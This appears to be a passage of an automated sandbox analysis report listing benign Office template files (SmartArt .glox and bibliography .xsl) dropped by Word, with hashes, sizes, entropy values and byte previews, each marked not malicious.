SSDEEP:	96:StrFZ23/juILHPzms5UTuK9CuZGEoEuZ28H1HiGa2RnnLY+tUb:SPZQ7uCHPzms5UTlqauZVHdJRnLY+tUb
MD5:	0A4CA91036DC4F3CD8B6DBF18094CF25
SHA1:	6C7EED2530CD0032E9EEAB589AFBC296D106FBB9
SHA-256:	E5A56CCB3B3898F76ABF909209BFAB401B5DDCD88289AD43CE96B02989747E50
SHA-512:	7C69426F2250E8C84368E8056613C22977630A4B3F5B817FB5EA69081CE2A3CA6E5F93DF769264253D5411419AF73467A27F0BB61291CCDE67D931BD0689CB66
Malicious:	false
Preview:	PK.........e.>.......]>......diagrams/layout1.xmlz........Z..6....;..{......lw.E.o....i..T....&...G.+...$..(.6..>Y.pf8C.\|3.?..m....xA8v.`.hW..@..Zn..(kb..(.......`.+....Y`...\..qh.0.!&w..)\|...<..]Q.. _....m..Z.{3..~..5..R..d..A.O....gU.M..0..#...;.>$...T......T..z.Z.\a.+...?#.~.....1.>?.....DD.1...'..,..(...5B...M..]..>.C..<[....,L.p..Q.v.v^q.Y...5.~^c..5........3.j.......BgJ.nv.. ............tt......Q..p..K....(M.(]@..E..~z.~...8...49.t.Q..Q.n..+.....J.#J.... .P...P.1...!.#&...?A..&.."..\|..D.I...:.....~/.....b..].........nI7.IC.a..%...9.....4...r....b..q....@o........O...y...d@+~.<.\....f.a`:...Qy/^..P....[....@i.I.._.?.X.x.8....)..s....I.0...\|.....t...;...q=k.=..N.%!.(.1....B.Ps/."...#.%..&...j<..2x.=<.......s.....h..?..]?Y?...C.}E.O........{..6.d....I...A.....JN..w+....2..m>9.T7...t.6.}.i..f.Ga..t.].->...8U......G.D`......p..f.. ...qT.YX.t.F..X.u=.3r...4....4Q.D..l.6.+PR...+..T..h: H.&.1~....n.....)........2J.. O.W+vd..f....0.....6..9QhV..

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328975[[fn=Theme Picture Accent]].glox (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	6448
Entropy (8bit):	7.897260397307811
Encrypted:	false
SSDEEP:	192:tgaoRbo1sMjb0NiJ85oPtqcS+yaXWoa8XBzdJYnLYFtWT7:LR1sk+i4o1qc1yaukzd8MK
MD5:	42A840DC06727E42D42C352703EC72AA
SHA1:	21AAAF517AFB76BF1AF4E06134786B1716241D29
SHA-256:	02CCE7D526F844F70093AC41731D1A1E9B040905DCBA63BA8BFFC0DBD4D3A7A7
SHA-512:	8886BFD240D070237317352DEB3D46C6B07E392EBD57730B1DED016BD8740E75B9965F7A3FCD43796864F32AAE0BE911AB1A670E9CCC70E0774F64B1BDA93488
Malicious:	false
Preview:	PK.........k.>........'......diagrams/layout1.xmlz........].r.8.}.V.?p.n....g5..JUn.....(SU......T.l.......X.d."m."..S....F..P.........-..<Y^..=..e.L....m>.pG.....M~...+\....u}o...".Yn}Y.".-r......0...'/........{........F.~.M8.d....(.....q.D.....4\.;.D,.\.)n.S....Z.cl.\|<..7._.dk..7..E.......kS...d.....i.....noX...o.W#9..}.^..I0....G.......+.K.[i.O.\|G..8=.;.8.8.8.8.....{..-..^.y..[.....`...0..f...Q<^~...l....{...pA.z.$.$R.../...E.(..Q.(V.E_ ......X]Q..Y9.......>...8......l..--.ug.......I.;..].u.b.3Lv:.d.%H..l<...V...$.M..A>...^M./.[..I....o~,.U. .$d\..?........O.;..^M..O...A.$Yx..\|f.n...H.=.\|!cG)dd%..(... ..Xe......2B."i...n....P.R..E?... Y.I6...7n..Xs..J..K..'..JaU..d..\|.(y.a.....d......D.Dr...._.._..m..Yu..6.o.\......&.m....wy...4k?..~........f....0.. \...}iS.i..R....q-#_..g........{Z.u.V.r(....j.I...,R..f.=.n.[.'..L'd.n C.0.I.....RpaV........c.k..NR....)B^k...d.i...d0.E. ^..G.']....x.c.>'..p...y.ny.P.x6..%.J\.....De.B\.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328983[[fn=Theme Picture Alternating Accent]].glox (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	5630
Entropy (8bit):	7.87271654296772
Encrypted:	false
SSDEEP:	96:n5ni6jKZWsD+QJaUQ7R6qYFF5QS+BEgeJam6S7ZCHuKViGa2CnnLYLt/ht:nccqxIBdQ1QS+uDJanS7ZCHHVdJCnLY5
MD5:	2F8998AA9CF348F1D6DE16EAB2D92070
SHA1:	85B13499937B4A584BEA0BFE60475FD4C73391B6
SHA-256:	8A216D16DEC44E02B9AB9BBADF8A11F97210D8B73277B22562A502550658E580
SHA-512:	F10F7772985EDDA442B9558127F1959FF0A9909C7B7470E62D74948428BFFF7E278739209E8626AE5917FF728AFB8619AE137BEE2A6A4F40662122208A41ABB2
Malicious:	false
Preview:	PK...........<..W8...j.......diagrams/layout1.xmlz........]......Hy..{...n .l.:.D.vvW..s....-a..fg&.}.\..+......4M..'=...(._.U]U......_.....U...k}.y.,......C..._^.......w/."7....v..Ea........Q..u..D{..{v.x.]....AtB15u..o...w..o.1...f.L...I<[zk7..7^..,.h.&l3...#..)..'H..d.r.#w=b...Ocw.y.&.v..t.>.s..m^M7..8I?o7................H...b....Qv.;'..%.f..#vR....V.H.),g..`...)(..m...[l...b...,.....U...Q.{.y.y.....G.I.tT.n..N.....A.tR..tr....i.<.......,.n:.#.A..a!X.......DK..;v..._M..lSc../n...v.....}.....I.\|8.!b.C..v..\|.....4l..n.;<9.i./..}!&2.c/.r...>.X02[..\|.a.-.....$#-....>...{.M].>3.,\o.x....X%;.F.k.)*".I8<.0..#......?.h..-..O.2.B.s..v....{Abd...h0....H..I.. ...%...$1.Fyd..Y....U...S.Y.#.V.....TH(....%..nk.3Y.e.m.-.S..Q...j.Ai..E..v......4.t.\|..&"...{..4.!.h.....C.P.....W...d[.....U<Yb;B.+W.!.@B....!.=......b"...Y.N;.#..Q...0G.lW...]7:...#9!z......\|f..r..x.....t........`.uL1u.:.....U.D.n.<Q.[%...ngC./..\|...!..q;;.w.".D..lt.".l.4".mt...E..mt

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328986[[fn=Theme Picture Grid]].glox (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	6193
Entropy (8bit):	7.855499268199703
Encrypted:	false
SSDEEP:	192:WavHMKgnU2HUGFhUnkbOKoztj1QfcnLYut3d8:YKeUlGXUnC+HQSMp
MD5:	031C246FFE0E2B623BBBD231E414E0D2
SHA1:	A57CA6134779D54691A4EFD344BC6948E253E0BA
SHA-256:	2D76C8D1D59EDB40D1FBBC6406A06577400582D1659A544269500479B6753CF7
SHA-512:	6A784C28E12C3740300883A0E690F560072A3EA8199977CBD7F260A21E8346B82BA8A4F78394D3BB53FA2E98564B764C2D0232C40B25FB6085C36D20D70A39D1
Malicious:	false
Preview:	PK........X..<..Zn\|...........diagrams/layout1.xmlz........]..H.}......M,l#g.j:.G-eu.S=.$......T_6..I...6...d.NJ....r.p.p.........\|.z.K.M..L.T.(........<..ks.......o...t}...P...7...`.+.[...H..._..X.u.....N....n....n\|..=.....K.:.G7.u....."g.n.h...O.,...c...f.b.P......>[l.....j..?..mxk..n..\|A...,\o..j..wQ.....lw.~].Lh..{3Y..D..5.Y..n..Mh.r..J....6.<.kO...Alv.._.qdKQ.5...-FMN......;.~..._..pv..&...%"Nz].n............vM.`..k..a.:.f]...a........y.....g0..`........\|V...Yq.....#...8....n..i7w<2Rp...R.@.]..%.b%..~...a..<.j...&....?...Qp..Ow\|&4>...d.O.\|.\|...Fk;t.P[A..i.6K.~...Y.N..9......~<Q..f...i.....6..U...l. ..E..4$Lw..p..Y%NR..;...B\|B.U...\e......S...=...B{A.]..*....5Q.....FI..w....q.s{.K....(.]...HJ9........(.....[U\|.....d71.Vv.....a.8...L.....k;1%.T.@+..uv.~v.]`.V....Z.....`.M.@..Z\|.r........./C..Z.n0.....@.YQ.8..q.h.....c.%...p..<..zl.c..FS.D..fY..z..=O..%L..MU..c.:.~.....F]c......5.=.8.r...0....Y.\o.o....U.~n...`...Wk..2b......I~

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328990[[fn=Varying Width List]].glox (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	3075
Entropy (8bit):	7.716021191059687
Encrypted:	false
SSDEEP:	48:96yn4sOBoygpySCCxwKsZCB2oLEIK+aQpUNLRQWtmMamIZxAwCC2QnyODhVOzP4:l0vCxJsZQ2ofpKvtmMdIZxAwJyODhVOE
MD5:	67766FF48AF205B771B53AA2FA82B4F4
SHA1:	0964F8B9DC737E954E16984A585BDC37CE143D84
SHA-256:	160D05B4CB42E1200B859A2DE00770A5C9EBC736B70034AFC832A475372A1667
SHA-512:	AC28B0B4A9178E9B424E5893870913D80F4EE03D595F587AA1D3ACC68194153BAFC29436ADFD6EA8992F0B00D17A43CFB42C529829090AF32C3BE591BD41776D
Malicious:	false
Preview:	PK.........nB;.h......F.......[Content_Types].xmlz.........MN.0...by.b.,.BI...X `...{..O.S...H\.'.XTP..K{.o.....rg..bL...XM.:.v..c.k...}.D....9.....Bb>.+..G.......+(.u}.w.]...v..{.M&.].>`....nB..B0Z@.e.u..R.......-.&#....aR..`.a..\|. 1^......&..\|..s.A.t..b..A.i7...7.&....bQK$O.......9....V....Wt_PK.........nB;O.......k......._rels/.rels...J.@.._e..4...i/.,x..Lw'....v'.<....WpQ..,......7?....u.y..;bL../..3t.+.t.G....Y.v8.eG.MH,....(\..d..R....t>Z.<F-..G.(..\.x...l?..M..:#........2.#.[..H7..#g{...._j...(.....q......;.5'..Nt..."...A.h........>....\.'...L..D..DU<.....C.TKu.5Tu....bV..;PK.........C26.b..............diagrams/layout1.xml.T.n. .}N....).je./m.+u....`{..0P......p..U}c.9g..3....=h.(.."..D-.&....~.....y..I...(r.aJ.Y..e..;.YH...P.{b......hz.-..>k.i5..z>.l...f...c..Y...7.ND...=.%..1...Y.-.o.=)(1g.{.".E.>2.=...]Y..r0.Q...e.E.QKal,.....{f...r..9-.mH..C..\.w....c.4.JUbx.p Q...R......_...G.F...uPR...\|um.+g..?..C..gT...7.0.8l$.*.=qx.......-8..8.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328998[[fn=Rings]].glox (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	5151
Entropy (8bit):	7.859615916913808
Encrypted:	false
SSDEEP:	96:WkV3UHhcZDEteEJqeSGzpG43GUR8m8b6dDLiCTfjKPnD6H5RhfuDKNtxx3+7tDLp:Wq3UBc9EJqIpGgD5dDL1DjKvDKhfnNti
MD5:	6C24ED9C7C868DB0D55492BB126EAFF8
SHA1:	C6D96D4D298573B70CF5C714151CF87532535888
SHA-256:	48AF17267AD75C142EFA7AB7525CA48FAB579592339FB93E92C4C4DA577D4C9F
SHA-512:	A3E9DC48C04DC8571289F57AE790CA4E6934FBEA4FDDC20CB780F7EA469FE1FC1D480A1DBB04D15301EF061DA5700FF0A793EB67D2811C525FEF618B997BCABD
Malicious:	false
Preview:	PK.........nB;.h......F.......[Content_Types].xmlz.........MN.0...by.b.,.BI...X `...{..O.S...H\.'.XTP..K{.o.....rg..bL...XM.:.v..c.k...}.D....9.....Bb>.+..G.......+(.u}.w.]...v..{.M&.].>`....nB..B0Z@.e.u..R.......-.&#....aR..`.a..\|. 1^......&..\|..s.A.t..b..A.i7...7.&....bQK$O.......9....V....Wt_PK........5nB;.ndX....`......._rels/.rels...J.1.._%..f.J.J..x..AJ.2M&......g..#............\|.c..x{_._..^0e.\|.gU..z.....#.._..[..JG.m.....(...e..r."....P)....3..M].E:..SO.;D..c..J..rt...c.,.....a.;.....$.../5..D.Ue.g...Q3......5.':...@...~t{.v..QA>.P.R.A~..^AR.S4G......].n...x41....PK.........^5..s.V....Z......diagrams/layout1.xml.[]o.F.}N~..S.......VU.U+m6R........&.d.}...{M....Q.S....p9.'./O..z."..t>q....."[..j>y..?...u....[.}..j-...?Y..Bdy.I./.....0.._.....-.s...rj...I..=..<..9.\|>YK.....o.\|.my.F.LlB..be/E.Y!.$6r.f/.p%.......U....e..W.R..fK....`+?.rwX.[.b..\|..O>o.\|.....>1.......trN`7g..Oi.@5..^...]4.r...-y...T.h...[.j1..v....G..........nS..m..E"L...s

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851216[[fn=apasixtheditionofficeonline]].xsl (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	333258
Entropy (8bit):	4.654450340871081
Encrypted:	false
SSDEEP:	6144:ybW83Zb181+MKHZR5D7H3hgtfL/8mIDbEhPv9FHSVsioWUyGYmwxAw+GIfnUNv5J:i
MD5:	5632C4A81D2193986ACD29EADF1A2177
SHA1:	E8FF4FDFEB0002786FCE1CF8F3D25F8E9631E346
SHA-256:	06DE709513D7976690B3DD8F5FDF1E59CF456A2DFBA952B97EACC72FE47B238B
SHA-512:	676CE1957A374E0F36634AA9CFFBCFB1E1BEFE1B31EE876483B10763EA9B2D703F2F3782B642A5D7D0945C5149B572751EBD9ABB47982864834EF61E3427C796
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>....<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt".xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">.. <xsl:output method="html" encoding="us-ascii"/>.... <xsl:template match="*" mode="outputHtml2">.. <xsl:apply-templates mode="outputHtml"/>.. </xsl:template>.... <xsl:template name="StringFormatDot">.. <xsl:param name="format" />.. <xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.. <xsl:when test="$format = ''"></xsl:when>.. <xsl:when test="substring($format, 1, 2) = '%%'">.. <xsl:text>%</xsl:text>.. <xsl:call-template name="StringFormatDot">.. <xsl:with-param name="format" select="substring($format, 3)" />.. <xsl:with-param name=

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851217[[fn=chicago]].xsl (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	296658
Entropy (8bit):	5.000002997029767
Encrypted:	false
SSDEEP:	6144:RwprAMk0qvtfL/vF/bkWPz9yv7EOMBPitjASjTQQr7IwR0TnyDkJb78plJwf33iV:M
MD5:	9AC6DE7B629A4A802A41F93DB2C49747
SHA1:	3D6E929AA1330C869D83F2BF8EBEBACD197FB367
SHA-256:	52984BC716569120D57C8E6A360376E9934F00CF31447F5892514DDCCF546293
SHA-512:	5736F14569E0341AFB5576C94B0A7F87E42499CEC5927AAC83BB5A1F77B279C00AEA86B5F341E4215076D800F085D831F34E4425AD9CFD52C7AE4282864B1E73
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>....<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>............<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$para

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851218[[fn=gb]].xsl (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	268317
Entropy (8bit):	5.05419861997223
Encrypted:	false
SSDEEP:	6144:JwprAJLR95vtfb8p4bgWPzDCvCmvQursq7vImej/yQzSS1apSiQhHDOruvoVeMUh:N9
MD5:	51D32EE5BC7AB811041F799652D26E04
SHA1:	412193006AA3EF19E0A57E16ACF86B830993024A
SHA-256:	6230814BF5B2D554397580613E20681752240AB87FD354ECECF188C1EABE0E97
SHA-512:	5FC5D889B0C8E5EF464B76F0C4C9E61BDA59B2D1205AC9417CC74D6E9F989FB73D78B4EB3044A1A1E1F2C00CE1CA1BD6D4D07EEADC4108C7B124867711C31810
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt".xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>..............<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$para

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851219[[fn=gostname]].xsl (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	255948
Entropy (8bit):	5.103631650117028
Encrypted:	false
SSDEEP:	6144:gwprAm795vtfb8p4bgWPWEtTmtcRCDPThNPFQwB+26RxlsIBkAgRMBHcTCwsHe5a:kW
MD5:	9888A214D362470A6189DEFF775BE139
SHA1:	32B552EB3C73CD7D0D9D924C96B27A86753E0F97
SHA-256:	C64ED5C2A323C00E84272AD3A701CAEBE1DCCEB67231978DE978042F09635FA7
SHA-512:	8A75FC2713003FA40B9730D29C786C76A796F30E6ACE12064468DD2BB4BF97EF26AC43FFE1158AB1DB06FF715D2E6CDE8EF3E8B7C49AA1341603CE122F311073
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>............<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt".xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>..........<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select=

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851220[[fn=gosttitle]].xsl (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	251032
Entropy (8bit):	5.102652100491927
Encrypted:	false
SSDEEP:	6144:hwprA5R95vtfb8p4bgWPwW6/m26AnV9IBgIkqm6HITUZJcjUZS1XkaNPQTlvB2zr:JA
MD5:	F425D8C274A8571B625EE66A8CE60287
SHA1:	29899E309C56F2517C7D9385ECDBB719B9E2A12B
SHA-256:	DD7B7878427276AF5DBF8355ECE0D1FE5D693DF55AF3F79347F9D20AE50DB938
SHA-512:	E567F283D903FA533977B30FD753AA1043B9DDE48A251A9AC6777A3B67667443FEAD0003765A630D0F840B6C275818D2F903B6CB56136BEDCC6D9BDD20776564
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>......<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt".xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>..........<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$para

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851221[[fn=harvardanglia2008officeonline]].xsl (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	284415
Entropy (8bit):	5.00549404077789
Encrypted:	false
SSDEEP:	6144:N9G5o7Fv0ZcxrStAtXWty8zRLYBQd8itHiYYPVJHMSo27hlwNR57johqBXlwNR2b:y
MD5:	33A829B4893044E1851725F4DAF20271
SHA1:	DAC368749004C255FB0777E79F6E4426E12E5EC8
SHA-256:	C40451CADF8944A9625DD690624EA1BA19CECB825A67081E8144AD5526116924
SHA-512:	41C1F65E818C2757E1A37F5255E98F6EDEAC4214F9D189AD09C6F7A51F036768C1A03D6CFD5845A42C455EE189D13BB795673ACE3B50F3E1D77DAFF400F4D708
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>....<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt"......xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">.....<xsl:output method="html" encoding="us-ascii"/>.....<xsl:template match="/">....<xsl:call-template name="Start"/>...</xsl:template>.....<xsl:template name="Start">....<xsl:choose>.....<xsl:when test="b:Version">......<xsl:text>2010.2.02</xsl:text>.....</xsl:when>.......<xsl:when test="b:XslVersion">......<xsl:text>2008</xsl:text>.....</xsl:when>.... <xsl:when test="b:StyleNameLocalized">.. <xsl:choose>.. <xsl:when test="b:StyleNameLocalized/b:Lcid='1033'">.. <xsl:text>Harvard - Anglia</xsl:text>.. </xsl:when>.. <xsl:when test="b:StyleNameLocalized/b:Lcid='1025'">.. <xsl:text>Harvard - Anglia</xsl:text>.. </xsl:when>.. <x

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851222[[fn=ieee2006officeonline]].xsl (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	294178
Entropy (8bit):	4.977758311135714
Encrypted:	false
SSDEEP:	6144:ydkJ3yU0orh0SCLVXyMFsoiOjWIm4vW2uo4hfhf7v3uH4NYYP4BpBaZTTSSamEUD:b
MD5:	0C9731C90DD24ED5CA6AE283741078D0
SHA1:	BDD3D7E5B0DE9240805EA53EF2EB784A4A121064
SHA-256:	ABCE25D1EB3E70742EC278F35E4157EDB1D457A7F9D002AC658AAA6EA4E4DCDF
SHA-512:	A39E6201D6B34F37C686D9BD144DDD38AE212EDA26E3B81B06F1776891A90D84B65F2ABC5B8F546A7EFF3A62D35E432AF0254E2F5BFE4AA3E0CF9530D25949C0
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>....<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt"......xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">.....<xsl:output method="html" encoding="us-ascii"/>.....<xsl:template match="/">....<xsl:call-template name="Start"/>...</xsl:template>.....<xsl:template name="Start">....<xsl:choose>.....<xsl:when test="b:Version">......<xsl:text>2010.2.02</xsl:text>.....</xsl:when>.......<xsl:when test="b:XslVersion">......<xsl:text>2006</xsl:text>.....</xsl:when>.. <xsl:when test="b:StyleNameLocalized">.. <xsl:choose>.. <xsl:when test="b:StyleNameLocalized/b:Lcid='1033'">.. <xsl:text>IEEE</xsl:text>.. </xsl:when>.. <xsl:when test="b:StyleNameLocalized/b:Lcid='1025'">.. <xsl:text>IEEE</xsl:text>.. </xsl:when>.. <xsl:when test="b:StyleNameL

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851223[[fn=iso690]].xsl (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	270198
Entropy (8bit):	5.073814698282113
Encrypted:	false
SSDEEP:	6144:JwprAiaR95vtfb8pDbgWPzDCvCmvQursq7vImej/yQ4SS1apSiQhHDOruvoVeMUX:We
MD5:	FF0E07EFF1333CDF9FC2523D323DD654
SHA1:	77A1AE0DD8DBC3FEE65DD6266F31E2A564D088A4
SHA-256:	3F925E0CC1542F09DE1F99060899EAFB0042BB9682507C907173C392115A44B5
SHA-512:	B4615F995FAB87661C2DBE46625AA982215D7BDE27CAFAE221DCA76087FE76DA4B4A381943436FCAC1577CB3D260D0050B32B7B93E3EB07912494429F126BB3D
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt".xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>..............<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$para

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851224[[fn=iso690nmerical]].xsl (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	217137
Entropy (8bit):	5.068335381017074
Encrypted:	false
SSDEEP:	6144:AwprA3Z95vtf58pb1WP2DCvCmvQursq7vIme5QyQzSS1apSiQhHDlruvoVeMUwFj:4P
MD5:	3BF8591E1D808BCCAD8EE2B822CC156B
SHA1:	9CC1E5EFD715BD0EAE5AF983FB349BAC7A6D7BA0
SHA-256:	7194396E5C833E6C8710A2E5D114E8E24338C64EC9818D51A929D57A5E4A76C8
SHA-512:	D434A4C15DA3711A5DAAF5F7D0A5E324B4D94A04B3787CA35456BFE423EAC9D11532BB742CDE6E23C16FA9FD203D3636BD198B41C7A51E7D3562D5306D74F757
Malicious:	false
